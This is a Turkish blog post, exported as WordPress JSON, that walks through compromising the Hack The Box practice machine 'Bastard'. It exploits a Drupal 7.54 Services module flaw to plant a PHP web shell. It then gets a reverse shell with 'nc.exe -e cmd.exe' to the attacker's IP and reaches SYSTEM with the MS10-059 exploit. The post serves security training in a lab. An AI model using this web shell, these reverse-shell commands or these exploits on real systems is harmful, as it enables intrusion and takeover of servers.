{"id":1428,"date":"2021-07-28T21:45:49","date_gmt":"2021-07-28T21:45:49","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1428"},"modified":"2022-06-11T09:12:58","modified_gmt":"2022-06-11T09:12:58","slug":"bastard","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/07\/28\/bastard\/","title":{"rendered":"Bastard"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Bastard<\/a> – HTB<\/td>\nOrta<\/td>\nWindows<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

Nmap taramas\u0131 ile ba\u015flayal\u0131m.<\/p>\n

[*] Scan: 16\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-07-28 13:24 EDT\nNmap scan report for 10.10.10.9\nHost is up (0.070s latency).\nNot shown: 65532 filtered ports\nPORT      STATE SERVICE VERSION\n80\/tcp    open  http    Microsoft IIS httpd 7.5\n|_http-generator: Drupal 7 (http:\/\/drupal.org)\n| http-methods: \n|_  Potentially risky methods: TRACE\n| http-robots.txt: 36 disallowed entries (15 shown)\n| \/includes\/ \/misc\/ \/modules\/ \/profiles\/ \/scripts\/ \n| \/themes\/ \/CHANGELOG.txt \/cron.php \/INSTALL.mysql.txt \n| \/INSTALL.pgsql.txt \/INSTALL.sqlite.txt \/install.php \/INSTALL.txt \n|_\/LICENSE.txt \/MAINTAINERS.txt\n|_http-server-header: Microsoft-IIS\/7.5\n|_http-title: Welcome to 10.10.10.9 | 10.10.10.9\n135\/tcp   open  msrpc   Microsoft Windows RPC\n49154\/tcp open  msrpc   Microsoft Windows RPC\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nDevice type: general purpose|phone|specialized\nRunning (JUST GUESSING): Microsoft Windows 2008|7|Vista|Phone|8.1 (90%)\nOS CPE: cpe:\/o:microsoft:windows_server_2008:r2 cpe:\/o:microsoft:windows_7 cpe:\/o:microsoft:windows_8 cpe:\/o:microsoft:windows_vista::- cpe:\/o:microsoft:windows_vista::sp1 cpe:\/o:microsoft:windows cpe:\/o:microsoft:windows_8.1\nAggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 SP1 (90%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (90%), Microsoft Windows 7 (90%), Microsoft Windows 7 Professional or Windows 8 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (90%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (90%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (90%), Microsoft Windows Vista SP2 (90%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Windows; CPE: cpe:\/o:microsoft:windows\n\nTRACEROUTE (using port 135\/tcp)\nHOP RTT      ADDRESS\n1   70.46 ms 10.10.14.1\n2   70.54 ms 10.10.10.9\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 163.03 seconds\n<\/code><\/pre>\n
    \n
  1. porta gitti\u011fimde bir drupal g\u00f6rd\u00fcm ve incelemeye ba\u015flad\u0131m.<\/li>\n<\/ol>\n
    \u250c\u2500\u2500(root💀kali)-[~\/tool\/drupwn]\n\u2514\u2500# python3 drupwn --mode exploit --target http:\/\/10.10.10.9\/                                                                                                                                                                           255 \u2a2f\n\n        ____\n       \/ __ \\_______  ______ _      ______\n      \/ \/ \/ \/ ___\/ \/ \/ \/ __ \\ | \/| \/ \/ __ \\\n     \/ \/_\/ \/ \/  \/ \/_\/ \/ \/_\/ \/ |\/ |\/ \/ \/ \/ \/\n    \/_____\/_\/   \\__,_\/ .___\/|__\/|__\/_\/ \/_\/\n                     \/_\/\n\n[-] Version not specified, trying to identify it\n\n[+] Version detected: 7.54\n\nCommands available: list | quit | check [CVE_NUMBER] | exploit [CVE_NUMBER]\n\nDrupwn> list\n+---------------+----------------------------------------+---------------------------------+\n|      CVE      |              Description               |        Versions affected        |\n+---------------+----------------------------------------+---------------------------------+\n| CVE-2018-7600 |        Remote Command Execution        |      7.x < 7.58 & 8.x < 8.1     |\n| CVE-2018-7602 | Authenticated Remote Command Execution |           7.x <= 7.58           |\n| CVE-2019-6340 |        Remote Command Execution        | 8.5.x < 8.5.11 & 8.6.x < 8.6.10 |\n+---------------+----------------------------------------+---------------------------------+<\/code><\/pre>\n
    Version numaras\u0131 7.54 ve bu versiyonun zafiyetli oldu\u011funu biliyorum. Bu y\u00fczden bir exploit ara\u015ft\u0131rmas\u0131 yapt\u0131m.<\/p>\n
    \n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/bastartd]\n\u2514\u2500# searchsploit Drupal 7.x   \n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\n Exploit Title                                                                                                                                                                                              |  Path\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nDrupal 7.x Module Services - Remote Code Execution                                                                                                                                                          | php\/webapps\/41564.php\nDrupal < 7.34 - Denial of Service                                                                                                                                                                           | php\/dos\/35415.txt\nDrupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)                                                                                                                                    | php\/webapps\/44557.rb\nDrupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)                                                                                                                                 | php\/webapps\/44542.txt\nDrupal < 7.58 \/ < 8.3.9 \/ < 8.4.6 \/ < 8.5.1 - 'Drupalgeddon2' Remote Code Execution                                                                                                                         | php\/webapps\/44449.rb\nDrupal < 8.3.9 \/ < 8.4.6 \/ < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)                                                                                                                     | php\/remote\/44482.rb\nDrupal < 8.3.9 \/ < 8.4.6 \/ < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)                                                                                                                            | php\/webapps\/44448.py\nDrupal < 8.5.11 \/ < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)                                                                                                       | php\/remote\/46510.rb\nDrupal < 8.6.10 \/ < 8.5.11 - REST Module Remote Code Execution                                                                                                                                              | php\/webapps\/46452.txt\nDrupal < 8.6.9 - REST Module Remote Code Execution                                                                                                                                                          | php\/webapps\/46459.py\nDrupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure                                                                                                                                           | php\/webapps\/44501.txt\nDrupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x\/7.x) - Persistent Cross-Site Scripting                                                                                                                      | php\/webapps\/25493.txt\nDrupal Module Coder < 7.x-1.3\/7.x-2.6 - Remote Code Execution                                                                                                                                               | php\/remote\/40144.php\nDrupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit)                                                                                                                                           | php\/remote\/40130.rb\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nShellcodes: No Results\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/bastartd]\n\u2514\u2500# searchsploit -m php\/webapps\/41564.php\n  Exploit: Drupal 7.x Module Services - Remote Code Execution\n      URL: https:\/\/www.exploit-db.com\/exploits\/41564\n     Path: \/usr\/share\/exploitdb\/exploits\/php\/webapps\/41564.php\nFile Type: ASCII text, with CRLF line terminators\n\nCopied to: \/root\/oscp\/htb\/bastartd\/41564.php\n<\/code><\/pre>\n
    Daha sonras\u0131nda exploiti okudum ve i\u00e7erisinde d\u00fczenlemeleri yapt\u0131m ancak \u00f6ncesinde bir \u015feyi farkettim. Drupal’\u0131n login olurken ki endpoit’i 404 veriyor. Bu y\u00fczden dizin ke\u015ffi yapmaya karar verdim.<\/p>\n
    \u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/bastartd]\n\u2514\u2500# gobuster dir --url http:\/\/10.10.10.9 --add-slash --expanded --follow-redirect --status-codes-blacklist 404,403 --timeout 20s -t 50 -w \/usr\/share\/wordlists\/dirb\/big.txt --no-error\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/10.10.10.9\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirb\/big.txt\n[+] Negative Status codes:   403,404\n[+] User Agent:              gobuster\/3.1.0\n[+] Add Slash:               true\n[+] Follow Redirect:         true\n[+] Expanded:                true\n[+] Timeout:                 20s\n===============================================================\n2021\/07\/28 17:43:31 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/10.10.10.9\/0\/                   (Status: 200) [Size: 7583]\nhttp:\/\/10.10.10.9\/rest\/                (Status: 200) [Size: 62]  <\/code><\/pre>\n
    endpointi buduktan sonra ezploitimi d\u00fczenledim. A\u015fa\u011f\u0131daki gibi:<\/p>\n
    \n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/bastartd]\n\u2514\u2500# head -n 40 41564.php\n# Exploit Title: Drupal 7.x Services Module Remote Code Execution\n# Vendor Homepage: https:\/\/www.drupal.org\/project\/services\n# Exploit Author: Charles FOL\n# Contact: https:\/\/twitter.com\/ambionics \n# Website: https:\/\/www.ambionics.io\/blog\/drupal-services-module-rce\n\n#!\/usr\/bin\/php\n<?php\n# Drupal Services Module Remote Code Execution Exploit\n# https:\/\/www.ambionics.io\/blog\/drupal-services-module-rce\n# cf\n#\n# Three stages:\n# 1. Use the SQL Injection to get the contents of the cache for current endpoint\n#    along with admin credentials and hash\n# 2. Alter the cache to allow us to write a file and do so\n# 3. Restore the cache\n# \n\n# Initialization\n\nerror_reporting(E_ALL);\n\ndefine('QID', 'anything');\ndefine('TYPE_PHP', 'application\/vnd.php.serialized');\ndefine('TYPE_JSON', 'application\/json');\ndefine('CONTROLLER', 'user');\ndefine('ACTION', 'login');\n\n$url = 'http:\/\/10.10.10.9';\n$endpoint_path = '\/rest';\n$endpoint = 'rest_endpoint';\n\n$file = [\n    'filename' => 'kuday.php',\n    'data' => '<?php echo shell_exec($_GET["cmd"]); ?>'\n];\n\n$browser = new Browser($url . $endpoint_path);\n<\/code><\/pre>\n
    Exploiti \u00e7al\u0131\u015ft\u0131rd\u0131m ve daha sonras\u0131nda web shell elde ettim.<\/p>\n
    \n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/bastartd]\n\u2514\u2500# php 41564.php                        \n# Exploit Title: Drupal 7.x Services Module Remote Code Execution\n# Vendor Homepage: https:\/\/www.drupal.org\/project\/services\n# Exploit Author: Charles FOL\n# Contact: https:\/\/twitter.com\/ambionics \n# Website: https:\/\/www.ambionics.io\/blog\/drupal-services-module-rce\n\n#!\/usr\/bin\/php\nStored session information in session.json\nStored user information in user.json\nCache contains 7 entries\nFile written: http:\/\/10.10.10.9\/kuday.php\n<\/code><\/pre>\n
    http:\/\/10.10.10.9\/kuday.php?cmd=type%20C:\\Users\\dimitris\\Desktop\\user.txt<\/a><\/strong> adres,ne stek att\u0131\u011f\u0131mda flagi ald\u0131m.<\/p>\n
    ba22f******************************<\/code><\/pre>\n
    Ancak bir reverse shell’e ihtiyac\u0131m vard\u0131. Bunun \u00fczerine windows’a nc.exe atmaya karar verdim. python ile kalimde bir smb server ba\u015flatt\u0131m.<\/p>\n
    \u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/bastartd]\n\u2514\u2500# \/usr\/local\/bin\/smbserver.py KUDAY \/root\/oscp\/htb\/bastartd                                                  130 \u2a2f\nImpacket v0.9.24.dev1+20210720.100427.cd4fe47c - Copyright 2021 SecureAuth Corporation\n\n[*] Config file parsed\n[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0\n[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0\n[*] Config file parsed\n[*] Config file parsed\n[*] Config file parsed<\/code><\/pre>\n
    https:\/\/github.com\/kudayDOTsite\/fuzzdb\/blob\/master\/web-backdoors\/exe\/nc.exe<\/a><\/strong> adresinden nc.exe’yi indirdim ve web shell \u00fczerinden dosyay\u0131 kopyalad\u0131m.<\/p>\n
    http:\/\/10.10.10.9\/kuday.php?cmd=copy%20\\\\10.10.14.12\\KUDAY\\nc.exe%20.\n1 file(s) copied.<\/code><\/pre>\n
    Bir dinleme noktas\u0131 a\u00e7\u0131p reverse ald\u0131m.<\/p>\n
    http:\/\/10.10.10.9\/kuday.php?cmd=nc.exe%20-e%20cmd.exe%2010.10.14.12%20443<\/code><\/pre>\n
    \u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/bastartd]\n\u2514\u2500# nc -lvp 443                                                                                                  1 \u2a2f\nlistening on [any] 443 ...\n10.10.10.9: inverse host lookup failed: Unknown host\nconnect to [10.10.14.12] from (UNKNOWN) [10.10.10.9] 64711\nMicrosoft Windows [Version 6.1.7600]\nCopyright (c) 2009 Microsoft Corporation.  All rights reserved.\n\nC:\\inetpub\\drupal-7.54><\/code><\/pre>\n
    \u0130lk i\u015fim systeminfo<\/strong>‘yu okumak oldu ve sistemin Microsoft Windows Server 2008 R2 Datacenter oldu\u011funu tespit ettim.<\/p>\n
    C:\\inetpub\\drupal-7.54>cmd.exe \/c systeminfo > systeminfo.txt\ncmd.exe \/c systeminfo > systeminfo.txt\n\nC:\\inetpub\\drupal-7.54>type systeminfo.txt\ntype systeminfo.txt\n\nHost Name:                 BASTARD\nOS Name:                   Microsoft Windows Server 2008 R2 Datacenter \nOS Version:                6.1.7600 N\/A Build 7600\nOS Manufacturer:           Microsoft Corporation\nOS Configuration:          Standalone Server\nOS Build Type:             Multiprocessor Free\nRegistered Owner:          Windows User\nRegistered Organization:   \nProduct ID:                00496-001-0001283-84782\nOriginal Install Date:     18\/3\/2017, 7:04:46 \ufffd\ufffd\nSystem Boot Time:          28\/7\/2021, 7:08:12 \ufffd\ufffd\nSystem Manufacturer:       VMware, Inc.\nSystem Model:              VMware Virtual Platform\nSystem Type:               x64-based PC\nProcessor(s):              2 Processor(s) Installed.\n                           [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz\n                           [02]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz\nBIOS Version:              Phoenix Technologies LTD 6.00, 12\/12\/2018\nWindows Directory:         C:\\Windows\nSystem Directory:          C:\\Windows\\system32\nBoot Device:               \\Device\\HarddiskVolume1\nSystem Locale:             el;Greek\nInput Locale:              en-us;English (United States)\nTime Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul\nTotal Physical Memory:     2.047 MB\nAvailable Physical Memory: 1.513 MB\nVirtual Memory: Max Size:  4.095 MB\nVirtual Memory: Available: 3.544 MB\nVirtual Memory: In Use:    551 MB\nPage File Location(s):     C:\\pagefile.sys\nDomain:                    HTB\nLogon Server:              N\/A\nHotfix(s):                 N\/A\nNetwork Card(s):           1 NIC(s) Installed.\n                           [01]: Intel(R) PRO\/1000 MT Network Connection\n                                 Connection Name: Local Area Connection\n                                 DHCP Enabled:    No\n                                 IP address(es)\n                                 [01]: 10.10.10.9<\/code><\/pre>\n
    G\u00fcncel exploitleri kullanmak i\u00e7in Windows-Exploit-Suggester<\/strong> arac\u0131n\u0131 kulland\u0131m.<\/p>\n
    \n\u250c\u2500\u2500(root💀kali)-[~\/tool\/Windows-Exploit-Suggester]\n\u2514\u2500# python2 windows-exploit-suggester.py --systeminfo \/root\/oscp\/htb\/bastartd\/sysinfo -d 2021-07-28-mssb.xls \n[*] initiating winsploit version 3.3...\n[*] database file detected as xls or xlsx based on extension\n[*] attempting to read from the systeminfo input file\n[+] systeminfo input file read successfully (utf-8)\n[*] querying database file for potential vulnerabilities\n[*] comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits\n[*] there are now 197 remaining vulns\n[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin\n[+] windows version identified as 'Windows 2008 R2 64-bit'\n[*] \n[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical\n[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important\n[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical\n[*]   http:\/\/www.exploit-db.com\/exploits\/35273\/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC\n[*]   http:\/\/www.exploit-db.com\/exploits\/34815\/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC\n[*] \n[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important\n[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important\n[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical\n[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important\n[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important\n[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical\n[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical\n[*] done\n<\/code><\/pre>\n
    Bu noktadan sonra \u00f6nceden derlenmi\u015f exploitler ile hak y\u00fckselttim.(https:\/\/github.com\/kudayDOTsite\/WindowsExploits<\/a>) MS10-059 exploitini kalime indirdim. Daha sonras\u0131nda smb ile windows’a transfer ettim.<\/p>\n
    \u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/bastartd]\n\u2514\u2500# wget https:\/\/github.com\/abatchy17\/WindowsExploits\/raw\/master\/MS10-059%20-%20Chimichurri\/MS10-059.exe\n--2021-07-28 17:01:12--  https:\/\/github.com\/abatchy17\/WindowsExploits\/raw\/master\/MS10-059%20-%20Chimichurri\/MS10-059.exe\nResolving github.com (github.com)... 140.82.121.4\nConnecting to github.com (github.com)|140.82.121.4|:443... connected.\nHTTP request sent, awaiting response... 302 Found\nLocation: https:\/\/raw.githubusercontent.com\/abatchy17\/WindowsExploits\/master\/MS10-059%20-%20Chimichurri\/MS10-059.exe [following]\n--2021-07-28 17:01:13--  https:\/\/raw.githubusercontent.com\/abatchy17\/WindowsExploits\/master\/MS10-059%20-%20Chimichurri\/MS10-059.exe\nResolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ...\nConnecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 784384 (766K) [application\/octet-stream]\nSaving to: \u2018MS10-059.exe\u2019\n\nMS10-059.exe                                                100%[=========================================================================================================================================>] 766.00K  2.69MB\/s    in 0.3s    \n\n2021-07-28 17:01:14 (2.69 MB\/s) - \u2018MS10-059.exe\u2019 saved [784384\/784384]<\/code><\/pre>\n
    C:\\inetpub\\drupal-7.54>copy \\\\10.10.14.12\\KUDAY\\MS10-059.exe .\ncopy \\\\10.10.14.12\\KUDAY\\MS10-059.exe .\n        1 file(s) copied.\n\nC:\\inetpub\\drupal-7.54>MS10-059.exe\nMS10-059.exe\n\/Chimichurri\/-->This exploit gives you a Local System shell <BR>\/Chimichurri\/-->Usage: Chimichurri.exe ipaddress port <BR>\nC:\\inetpub\\drupal-7.54><\/code><\/pre>\n
    \u0130lk \u00e7al\u0131\u015ft\u0131rd\u0131\u011f\u0131mda bana Usage: Chimichurri.exe ipaddress port <\/strong> \u015feklinde hata verdi. Bunun \u00fczerine kendimde bir dinleme noktas\u0131 daha a\u00e7t\u0131m.<\/p>\n
    C:\\inetpub\\drupal-7.54>MS10-059.exe 10.10.14.12 80\nMS10-059.exe 10.10.14.12 80\n\/Chimichurri\/-->This exploit gives you a Local System shell <BR>\/Chimichurri\/-->Changing registry values...<BR>\/Chimichurri\/-->Got SYSTEM token...<BR>\/Chimichurri\/-->Running reverse shell...<BR>\/Chimichurri\/-->Restoring default registry values...<BR>\nC:\\inetpub\\drupal-7.54>\n<\/code><\/pre>\n
    \u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/bastartd]\n\u2514\u2500# nc -lvp 80                                                                                                                                                                                                                            1 \u2a2f\nlistening on [any] 80 ...\nwhoami\n10.10.10.9: inverse host lookup failed: Unknown host\nconnect to [10.10.14.12] from (UNKNOWN) [10.10.10.9] 58884\nMicrosoft Windows [Version 6.1.7600]\nCopyright (c) 2009 Microsoft Corporation.  All rights reserved.\n\nC:\\inetpub\\drupal-7.54>whoami\nnt authority\\system\n\nC:\\inetpub\\drupal-7.54>cd C:\\\ncd C:\\\n\nC:\\>cd Users\\Administrator\\Desktop\ncd Users\\Administrator\\Desktop\n\nC:\\Users\\Administrator\\Desktop>dir\ndir\n Volume in drive C has no label.\n Volume Serial Number is 605B-4AAA\n\n Directory of C:\\Users\\Administrator\\Desktop\n\n19\/03\/2017  08:33 \ufffd\ufffd    <DIR>          .\n19\/03\/2017  08:33 \ufffd\ufffd    <DIR>          ..\n19\/03\/2017  08:34 \ufffd\ufffd                32 root.txt.txt\n               1 File(s)             32 bytes\n               2 Dir(s)  30.795.886.592 bytes free\n\nC:\\Users\\Administrator\\Desktop>type root.txt.txt\ntype root.txt.txt\n4bf1*****************************************\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
    Makine Ad\u0131 Seviye OS Logo Bastard – HTB Orta Windows Walkthrough Nmap taramas\u0131 ile ba\u015flayal\u0131m. [*] Scan: 16 Starting Nmap 7.91 ( https:\/\/nmap.org ) at…<\/p>\n
    Devam\u0131n\u0131 okuBastard<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498,468],"tags":[580,581,579,578],"class_list":["post-1428","post","type-post","status-publish","format-standard","hentry","category-walkthrough","category-windows","tag-drupal","tag-drupal7","tag-ms10-059","tag-smbserver-py","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1428","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1428"}],"version-history":[{"count":3,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1428\/revisions"}],"predecessor-version":[{"id":1889,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1428\/revisions\/1889"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1428"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1428"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1428"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}